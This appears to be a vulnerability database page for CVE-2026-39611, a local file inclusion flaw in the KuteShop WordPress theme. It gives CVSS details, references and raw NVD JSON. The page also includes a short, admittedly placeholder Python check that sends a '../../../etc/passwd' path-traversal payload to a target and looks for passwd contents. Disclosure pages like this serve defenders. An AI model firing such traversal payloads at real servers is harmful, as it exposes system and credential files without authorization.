CVE-2026-39611

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in kutethemes KuteShop kuteshop allows PHP Local File Inclusion.This issue affects KuteShop: from n/a through <= 4.2.9.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

KuteShop <= 4.2.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_lfi(target_url):
    # Vulnerable parameter needs to be identified based on the theme's code
    # Example structure: http://target.com/wp-content/themes/kuteshop/file.php?path=../../../etc/passwd
    payload = "../../../etc/passwd"
    
    # Assuming 'file' is the vulnerable parameter (placeholder)
    params = {
        "file": payload
    }
    
    try:
        response = requests.get(target_url, params=params, timeout=10)
        # Check for signature of /etc/passwd
        if "root:x:0:0" in response.text:
            print("[+] Vulnerability confirmed: LFI detected.")
            print("[+] Response snippet:", response.text[:100])
        else:
            print("[-] Target may not be vulnerable or payload incorrect.")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error connecting to target: {e}")

if __name__ == "__main__":
    target = "http://example.com/wp-content/themes/kuteshop/vulnerable_endpoint.php"
    check_lfi(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39611
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39611
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39611/
[4] VulDB https://vuldb.com/cve/CVE-2026-39611
[5] https://patchstack.com/database/Wordpress/Theme/kuteshop/vulnerability/wordpress-kuteshop-theme-4-2-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39611", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:30.580", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in kutethemes KuteShop kuteshop allows PHP Local File Inclusion.This issue affects KuteShop: from n/a through <= 4.2.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kuteshop/vulnerability/wordpress-kuteshop-theme-4-2-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}